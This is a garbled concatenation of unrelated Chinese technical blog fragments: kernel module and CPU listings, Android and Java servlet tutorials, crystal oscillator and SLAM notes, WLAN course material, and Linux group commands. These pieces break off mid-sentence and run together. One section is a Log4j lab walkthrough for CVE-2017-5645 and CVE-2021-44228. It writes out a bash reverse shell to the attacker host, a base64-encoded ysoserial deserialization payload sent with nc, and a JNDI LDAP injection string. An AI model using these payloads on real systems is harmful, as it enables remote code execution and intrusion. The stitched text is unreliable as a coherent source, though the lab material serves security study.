1 iptable_nat nf_nat 26787 2 nf_nat_ipv4,nf_nat_masquerade_ipv4 nf_conntrack_ipv4 15053 2 nf_defrag_ipv4 12729 1 nf_conntrack_ipv4 xt_conntrack 12760 1 nf_conntrack 133095 5 nf_nat,nf_nat_ipv4,xt_conntrack,nf_nat_masquerade_ipv4,nf_conntrack_ipv4 ipt_REJECT 12541 2 nf_reject_ipv4 13373 1 ipt_REJECT tun 31740 1 bridge 151336 0 stp 12976 1 bridge llc 14552 2 stp,bridge ebtable_filter 12827 0 devlink 48345 0 ebtables 35009 1 ebtable_filter ip6table_filter 12815 0 ip6_tables 26912 1 ip6table_filter iptable_filter 12810 1 bnep 23721 2 vmw_vsock_vmci_transport 30577 1 vsock 36526 2 vmw_vsock_vmci_transport sunrpc 353352 1 ppdev 17671 0 crc32_pclmul 13133 0 ghash_clmulni_intel 13273 0 aesni_intel 189414 0 vmw_balloon 18094 0 lrw 13286 1 aesni_intel gf128mul 15139 1 lrw glue_helper 13990 1 aesni_intel ablk_helper 13597 1 aesni_intel cryptd 21190 3 ghash_clmulni_intel,aesni_intel,ablk_helper joydev 17389 0 pcspkr 12718 0 btusb 41449 0 btrtl 12945 1 btusb btbcm 14040 1 btusb btintel 15709 1 btusb bluetooth 548688 26 bnep,btbcm,btrtl,btusb,btintel rfkill 22391 2 bluetooth sg 40721 0 parport_pc 28205 0 parport 46395 2 ppdev,parport_pc vmw_vmci 67127 1 vmw_vsock_vmci_transport i2c_piix4 22401 0 ip_tables 27126 3 iptable_filter,iptable_mangle,iptable_nat xfs 997127 3 libcrc32c 12644 3 xfs,nf_nat,nf_conntrack sd_mod 46281 3 crc_t10dif 12912 1 sd_mod crct10dif_generic 12647 0 sr_mod 22416 0 cdrom 42556 1 sr_mod crct10dif_pclmul 14307 1 crct10dif_common 12595 3 crct10dif_pclmul,crct10dif_generic,crc_t10dif crc32c_intel 22094 1 serio_raw 13434 0 vmwgfx 276430 2 drm_kms_helper 179394 1 vmwgfx syscopyarea 12529 1 drm_kms_helper sysfillrect 12701 1 drm_kms_helper sysimgblt 12640 1 drm_kms_helper fb_sys_fops 12703 1 drm_kms_helper ttm 114635 1 vmwgfx drm 429744 5 ttm,drm_kms_helper,vmwgfx e1000 137586 0 mptspi 22628 2 scsi_transport_spi 30732 1 mptspi nfit 55016 0 mptscsih 40150 1 mptspi mptbase 106036 2 mptspi,mptscsih libnvdimm 147731 1 nfit drm_panel_orientation_quirks 12957 1 drm ata_generic 12923 0 pata_acpi 13053 0 ata_piix 35052 0 libata 243133 3 pata_acpi,ata_generic,ata_piix dm_mirror 22289 0 dm_region_hash 20813 1 dm_mirror dm_log 18411 2 dm_region_hash,dm_mirror dm_mod 124407 8 dm_log,dm_mirror 3、查看CPU (1)查看CPU基本信息,/proc/cpuinfo [hadoop@hadoop04 ~]$ cat /proc/cpuinfo processor : 0 #逻辑核,它的计数是从0开始的,例如这里看到的是0,那我们一般就说这个机器是1核的,说的实际是逻辑核 vendor_id : GenuineIntel cpu family : 6 model : 140 model name : 11th Gen Intel(R) Core(TM) i5-11300H @ 3.
Log4j CVE-2017-5645反序列化漏洞 影响范围 Apache Log4j 2.x <= 2.8.2
漏洞成因 Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之 前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。
漏洞利用 环境准备 名称IP攻击机192.168.75.162靶机192.168.75.146 首先输入以下命令进入vulhub里启动靶场,然后在攻击机里访问http://192.168.75.146:8983即可
cd vulhub-master/log4j/CVE-2017-5645 docker-compose up -d 然后进入攻击机里使用nmap扫描全端口:
nmap -sS 192.168.75.146 -p 1-65535 -v 漏洞复现 首先准备好生成利用的工具:ysoserial.jar
工具验证漏洞是否存在 可以看出存在log4j漏洞
POC:
//反弹shell命令,注意替换为自己的 bash -i >& /dev/tcp/192.168.75.162/6666 0>&1 //base64加密 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE2Mi82NjY2IDA+JjE= 接下来新打开一个cmd窗口执行以下命令:
nc -lvvp 6666 监听启动后我们使用payload:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE2Mi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" | nc 192.168.75.146 4712 访问上述地址后,可以看到如下图,反弹shell成功,此漏洞利用成功
Log4j CVE-2021-44228远程代码执行漏洞 影响范围 Apache Log4j 2.x <= 2.14.1
漏洞成因 Log4j2默认支持解析ldap/rmi协议,并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。
Web学习笔记8 十九、过滤器 Filter1. 过滤器的功能2. 过滤器的使用方法3. 过滤器的注意事项4. 过滤器的生命周期5. 过滤器实际使用场景6. 使用示例(1)简单的客户端请求页面(2)过滤器(3)web.xml中过滤器的配置(4)需要处理的servlet 二十、文件的上传1. JSP的配置2. Servlet的配置3. 引入jar包 二十一、文件的下载1. jsp的配置2. servlet配置 十九、过滤器 Filter 1. 过滤器的功能 (1)⽤来拦截传⼊的请求和传出的响应。
(2)修改或者以某种⽅式处理数据流,该数据流是正在客户端和服务端之间交换
2. 过滤器的使用方法 与使⽤ Servlet接口 类似,Filter 是 Java WEB 提供的⼀个接⼝,开发者只需要⾃定义⼀个类并且实现该接⼝即可。
3. 过滤器的注意事项 (1)可以加多个过滤器,多个过滤器之间有先后顺序
(2)当客户端请求被过滤器拦截,会在过滤器内暂停进行处理,但是不会自动传入服务端。要接着走下一步,需要调用FilterChain中的dofilter方法。
filterChain.doFilter(servletRequest,servletResponse); (3)实现Filter接口,最多可以只实现一个方法,doFilter方法。
4. 过滤器的生命周期 (1)当 Tomcat 启动时,通过反射机制调⽤ Filter 的⽆参构造函数创建实例化对象,同时调⽤ init ⽅法实现初始化,doFilter ⽅法调⽤多次,当Tomcat 服务关闭的时候,调⽤ destory 来销毁 Filter 对象。
(2)⽆参构造函数:只调⽤⼀次,当 Tomcat 启动时调⽤(Filter ⼀定要进⾏配置)
(3)init ⽅法:只调⽤⼀次,当 Filter 的实例化对象创建完成之后调⽤
(4)doFilter:调⽤多次,访问 Filter 的业务逻辑都写在 Filter 中
(5)destory:只调⽤⼀次,Tomcat 关闭时调⽤。
(6)同时配置多个 Filter,Filter 的调⽤顺序是由 web.
文章目录 碎碎念部分activity是什么创建一个新的activity在活动中使用Toast在活动中使用Menu使用Intent在活动之间穿梭(转换界面)显式使用Intent隐式使用Intent更多用法尽在掌握向下一个活动传递数据 活动的生命周期活动状态活动的生存期(7个回调方法,3种生存期)在活动被回收之前抢救数据 活动的启动模式 碎碎念部分 长达一个学期的摆烂之后,终于下定决心把碎碎念博客继续规律更新啦,从c语言直接快进到android,跳过Java这个磨人的玩意!!
规律更新博客也希望对暑假还在挣扎学习的自己起到一点点督促的作用吧
新的征程开始咯!
activity是什么 在讲活动之前呢,要先提一嘴Android的四大组件——
活动(Activity)、服务(Service)、广播接收器(Breadcast Receiver)和内容提供器(Content Provider)。这篇博客就先讲讲活动,剩下三个组件且看下回分解~
那么活动究竟是什么东西呢,在我看来活动就是界面或者说是用来放组件的载体,一个空白的活动就是一个没有东西的界面,而我们要做的就是往这个空白的界面里塞东西(组件),来让界面变得更好看、更实用。
创建一个新的activity 懒人方法:右键→new→Activity→选择想要的活动类型→设置活动名等属性→finish手动创建活动:新建一个类→让这个类继承AppCompatActivity(不继承就是普通的类,不是活动哦)→重写onCreate()方法→在layout文件夹里面为这个活动新建一个布局文件→在onCreate()方法中引入新建的布局→在清单里面注册(所有组件都要在清单里面注册)→活动基本创建完成
手动创建的流程大概是这样,因为常用创建方式是第一种,这里对手动创建的细节就不做过多阐述了 在活动中使用Toast Toast是一种提醒方式,会在一段时间后自动消失并且不占任何屏幕空间(就是平常使用手机的时候,屏幕偏下方会弹出的灰色框)Toast的触发一般和按钮的点击事件结合在一起(把代码写在按钮的onClick()方法中),比如这样👇
(小小提一句,这一段是在对应活动的onCreate()方法中放着的)
解释一下这行关键代码:通过静态方法makeTaxt创建一个Toast对象,然后调用show()将Toast显示出来就完成了
这里makeText方法需要传三个参数。第一个是Context,也就是Toast要求的上下文。(由于活动本身就是一个context对象,所以直接传活动.this;第二个参数是Toast显示文本的内容,第三个参数是Toast显示的时长(有Toast.LENGTH_SHORT 和Toast.LENGTH_LONG两个内置常量可选) 在活动中使用Menu Menu其实就是把菜单隐藏起来做展示的一种方法,实现起来有点类似微信主页面右上角那个“+”号的效果:既能展示菜单又不占用屏幕空间。
创建过程如下👇
先在res目录下新建一个menu文件夹,再在这个文件夹下再新建一个名叫main的菜单文件
然后在main.xml里面创建两个菜单项:
接着重新回到对应活动中来重写onCreateOptionsMenu()方法(快捷键Ctrl+O)
通过getMenuInflater()方法能够得到MenuInflater对象,再调用它的inflate()方法就可以给当前活动创建菜单了。
inflate方法接收两个参数,第一个参数用于指定我们通过哪一个资源文件来创建菜单(这里肯定传入R.main.menu)第二个参数用于指定我们的菜单项;第二个参数用于指定我们的菜单项将添加到哪一个Menu对象中(这里直接使用了传入的参数menu)。然后给这个方法返回true,表示允许创建的菜单显示出来,若是返回false,则菜单无法显示。 定义菜单响应事件(在对应活动中重写onOptionsItemSelected()方法)
调用item.getItemId()来判断点击的是哪一个菜单,给菜单项加入自己的逻辑处理(例如这里的Toast,点击菜单之后就会出现灰框提醒)
使用Intent在活动之间穿梭(转换界面) Intent一般用于android中各组件之间的交互,不仅指明当前组件想要执行的动作,还可以在不同组件之间传递数据。
• Intent有多个函数的重载,其中一个是Intent(Context packageContext, Class<?>cls),这个构造函数接收两个参数,第一个参数Context要求提供一个启动活动的上下文,第二个参数Class则是指定想要启动的目标活动,通过这个构造函数就可以构建出Intent的意图
Intent一般分为显式Intent和隐式Intent两种使用方法,下文会分别介绍 显式使用Intent 修改某按钮的点击事件为👇(点击跳转另一个界面)
构建一个Intent,传入MainActivity.this作为上下文,传入MainActivity2.class作为目标活动,意图为在MainActivity的基础上打开MainActivity2这个活动
然后通过startActivity()方法来执行这个Intent
隐式使用Intent 通过在<activity>标签下配置<intent-filter>内容,指定当前活动能够响应的action和category
❗只有<action>和<category>中的内容能够同时匹配上指定的action和category时,这个活动才能响应该Intent
然后再把MainActivity的点击事件改成👇
· 隐式和显式的区别就是用的不是同一个构造方法,上面设置的category这个内容是默认的,会在startActivity()被调用的时候自动将这个category添加到Intent中,所以上面只传了一个action进去
每个Intent中只能指定一个action,但却能指定多个category(使用addCategory()添加),当然了在匹配时这些category也要一一对应,活动和Intent才能响应
更多用法尽在掌握 隐式Intent不仅可以启动自己程序内的活动,还可以启动其他程序的活动比如调用系统的浏览器来打开一个网页:
将点击事件设置为👇 指定了Intent的action是Intent.ACTION_VIEW(这是一个Android系统内置的动作);然后通过Uri.parse()方法,将一个网址字符串解析成一个Uri对象,再调用Intent的setData()方法将这个Uri对象传进去
这样点击这个按钮就会打开网址对应的网页啦
向下一个活动传递数据 这个操作的主要思路就是:通过putExtra()方法的重载,将想要传递的数据暂存在Intent中,启动另一个活动后再把这些数据从Intent中取出就可以了
将数据暂存到第一个活动Intent中:
使用显示的方式启动MainActivity2,并通过putExtra()方法传递一个字符串
这里putExtra()接收两个参数,第一个参数是键用于后面从Intent中取值,第二个参数才是真正要传递的数据
在第二个活动中把数据取出来:
首先使用getIntent()方法取到用于启动MainActivity2的Intent,然后调用getXxxExtra()方法来获取传递的数据(这里的Xxx根据数据类型灵活调整)
活动的生命周期 Android中的活动是可以层叠的,每启动一个新的活动就会覆盖在原活动之上,然后点击Back键会销毁最上面的活动,下面的活动就会重新显示。联想一下很容易发现:这个操作有点类似数据出入栈。
而事实上Android是用Task来管理活动的,一个Task就是一组存放在栈里的活动的集合,这个栈也被称作返回栈,系统总是会显示处于栈顶的活动给用户。
活动状态 一个活动的生命周期最多会有四种状态:运行状态、暂停状态、停止状态和销毁状态。
活动的生存期(7个回调方法,3种生存期) Activity类中定义了7个回调方法:
上次说明了晶体谐振器的结构,这一节就来聊聊晶体的等效电路模型。
晶振的等效模型
从上一节内容知道,晶振工作时,内部是真的在“振动”的,是机械振动,振动的同时两端会输出对应频率的振动电压,这个电压非常的精确并且稳定,所以我们经常用作时钟信号。
与此同时,我们发现晶振在谐振时跟下面的这个电路非常的相似,因此,把下面的电路模型看成是晶振的等效模型。
那么其中Lm,Rm,Cm分别又是什么意思呢?
Cm:动态电容,反映了振动体的弹性,随频率会变化
Lm:动态电感,反映了振动体的质量,随频率会变化
Rm:动态电阻,反映了振动体的损耗,随频率会变化
C0:静电容,两个电极间形成的电容
上面的解释是我在一些资料里面看到的,对于Rm等效为损耗这个好理解,电感,电容,电阻三大器件,只有电阻能消耗能量,Rm等效为损耗没毛病。
但是电容Cm等效为振动体的弹性,电感Lm等效为振动体的质量,这个有点不好理解。这里呢,我又去查了一查,还真有点发现。
从上一节知道,晶体谐振器工作的时候就是机械振动,机械振动的方程是二阶微分方程。我们天天搞电路,应该知道,LC阻尼振荡也是一个二阶微分方程。既然这样,好像确实可以把它们从某种程度上面对应起来。
这里在网上找到一篇文章,说明了机械振动和LC振荡电路之间的对应关系,非常的nice,正好说明了这个问题,链接如下:
https://zhuanlan.zhihu.com/p/427778878
下面是从文章中摘取的部分内容。
从微分方程可以看到,机械振动最关键的三个量——质量m,弹性系数K,摩擦系数u。正好对应LC振荡的三个量——电感L,电容1/C,电阻R。其实不仅仅这3个量,其它很多物理量也可以对应起来,具体详见表格。
下面还有一张图更形象:弹簧振子的振荡和LC谐振电路的工作情况。
好了,现在我们应该对晶振等效电路有一个更深刻的认识。不过还有一个参数C0值得说一下,因为这个电容在晶振手册中一般会标注,我们还是将这个电容同晶振本身的构造联系到一起吧,这样理解更加透彻。
比如下面就是某手册的静电容(shunt Capacitance)
C0这个电容其实我们脑子里面过一下电容的定义就知道了。两个相互靠近的导体,中间夹一层不导电的绝缘介质,这就构成了电容器。
再结合晶体的构造,两个覆银层不就是电容的两个极板么,中间的晶体也是绝缘体,而且一般也是薄片,天生就构成了一个电容。
以上就是我理解的晶振的等效电路模型的来源,或者说是晶体在我脑子里面是这么存在的,如果有什么不对的,兄弟们可以留言指出来。
系列文章目录 SLAM基础篇01
SLAM基础篇02
目录 系列文章目录前言SLAM是干什么的?SLAM的数学建模 机器人学基础齐次矩阵关于旋转的表示:旋转向量、欧拉角、四元数 李群和李代数基础李群李代数李代数 s o ( 3 ) \mathfrak{s o}(3) so(3)和 s e ( 3 ) \mathfrak{s e}(3) se(3)指数和对数映射BCH公式李代数求导扰动模型 前言 最近在看高翔和张涛写的《视觉SLAM十四讲》,记录一下学习的内容,方便以后复习。这一系列文章更像是这本书的读书笔记,所以结构脉络都与该书相似;更推荐有时间的同学去看原书,写的更加详细易懂。欢迎大家一起探讨学习视觉SLAM相关的知识。
SLAM是干什么的? SLAM(simultaneous localization and mapping)全称即时定位与地图构建或并发建图与定位),顾名思义可以解决“定位”和“建图“两件事情。 SLAM 问题的本质:对运动主体自身和周围环境空间不确定性的估计。主流的slam技术应用有两种,分别是激光slam(基于激光雷达lidar 来建图导航)和视觉slam(vslam,基于单/双目摄像头视觉建图导航)。
经典的视觉 SLAM 框架是过去十几年内,研究者们总结的成果。这个框架本身,以及它所包含的算法已经基本定型,并且在许多视觉程序库和机器人程序库中已经提供。依靠这些算法,我们能够构建一个视觉 SLAM 系统,使之在正常的工作环境里实时进行定位与建图。如上图所示,我们八视觉slam分为几步:
传感器信息读取。在视觉 SLAM 中主要为相机图像信息的读取和预处理。如果在机器人中,还可能有码盘、惯性传感器等信息的读取和同步。视觉里程计 (Visual Odometry, VO)。视觉里程计任务是估算相邻图像间相机的运动,以及局部地图的样子。VO 又称为前端(Front End)。过视觉里程计来估计轨迹,将不可避免地出现累计漂移(Accumulating Drift)。这是由于视觉里程计(在最简单的情况下)只估计两个图像间运动造成的。我们知道,每次估计都带有一定的误差,而由于里程计的工作方式,先前时刻的误差将会传递到下一时刻,导致经过一段时间之后,估计的轨迹将不再准确。为了解决漂移问题,我们还需要两种技术:后端优化和回环检测。回环检测负责把“机器人回到原始位置”的事情检测出来,而后端优化则根据该信息,校正整个轨迹的形状。后端优化(Optimization)。后端接受不同时刻视觉里程计测量的相机位姿,以及回环检测的信息,对它们进行优化,得到全局一致的轨迹和地图。由于接在 VO 之后,又称为后端(Back End)。。后端优化要考虑的问题,
就是如何从这些带有噪声的数据中,估计整个系统的状态,以及这个状态估计的不确定性有多大——这称为最大后验概率估计(Maximum-a-Posteriori,MAP)。回环检测(Loop Closing)。回环检测判断机器人是否曾经到达过先前的位置。如果检测到回环,它会把信息提供给后端进行处理。通建图(Mapping)。它根据估计的轨迹,建立与任务要求对应的地图。地图的形式随SLAM的应用场合而定。大体上讲,它们可以分为度量地图与拓扑地图两种。度量地图强调精确地表示地图中物体的位置关系,通常我们用稀疏(Sparse)与稠密(Dense)对它们进行分类。相比于度量地图的精确性,拓扑地图则更强调地图元素之间的关系。拓扑地图是一个图(Graph),由节点和边组成,只考虑节点间的连通性,例如A,B点是连通的,而不考虑如何从A点到达B点的过程。 SLAM的数学建模 由于相机通常是在某些时刻采集数据的,所以我们也只关心这些时刻的位置和地图。这就把一段连续时间的运动变成了离散时刻 t = 1, . . . , K 当中发生的事情。在这些时刻,用 x \bm{x} x 表示小萝卜自身的位置。于是各时刻的位置就记为 x1, . .
1,WLAN概述
什么是WLAN
Wireless Local Area Network无线局域网
• WLAN即Wireless LAN(无线局域网),是指通过无线技术构建的无线局域网络。
▫ 这里指的无线技术不仅仅包含Wi-Fi,还有红外、蓝牙、ZigBee等等。
▫ 通过WLAN技术,用户可以方便地接入到无线网络,并在无线网络覆盖区域内自由移
动,摆脱有线网络的束缚。
• 无线网络根据应用范围可分为WPAN、WLAN、WMAN、WWAN。
▫ WPAN (Wireless Personal Area Network):个人无线网络,常用技术有:Bluetooth、
ZigBee、NFC、HomeRF、UWB。
▫ WLAN (Wireless Local Area Network):无线局域网,常用技术有:Wi-Fi。(WLAN
中也会使用WPAN的相关技术。)
▫ WMAN (Wireless Metropolitan Area Network):无线城域网,常用技术有:WiMax。
▫ WWAN (Wireless Wide Area Network):无线广域网,常用技术有:GSM、CDMA、
WCDMA、TD-SCDMA、LTE、5G。
• WLAN的优点:
▫ 网络使用自由:凡是自由空间均可连接网络,不受限于线缆和端口位置。在办公大楼、
机场候机厅、度假村、商务酒店、体育场馆、咖啡店等场所尤为适用。
▫ 网络部署灵活:对于地铁、公路交通监控等难于布线的场所,采用WLAN进行无线网
络覆盖,免去或减少了繁杂的网络布线,实施简单,成本低,扩展性好。
• 本课程介绍的WLAN特指通过Wi-Fi技术基于802.11标准系列,利用高频信号(例如2.4GHz
或5GHz)作为传输介质的无线局域网。
IEEE 802.11,WLAN与Wi-Fi:
• IEEE 802.11标准聚焦在TCP/IP对等模型的下两层:
▫ 数据链路层:主要负责信道接入、寻址、数据帧校验、错误检测、安全机制等内容。
▫ 物理层:主要负责在空口(空中接口)中传输比特流,例如规定所使用的频段等。
• Wi-Fi联盟成立于1999年,当时的名称叫做Wireless Ethernet Compatibility Alliance
(WECA)。在2002年10月,正式改名为Wi-Fi Alliance。
将用户添加进用户组
usermod -G 组名1,组名2,…… 用户名 如何将用户从一个组中移除?
gpasswd -d userName groupName 显示用户的用户组
groups 用户名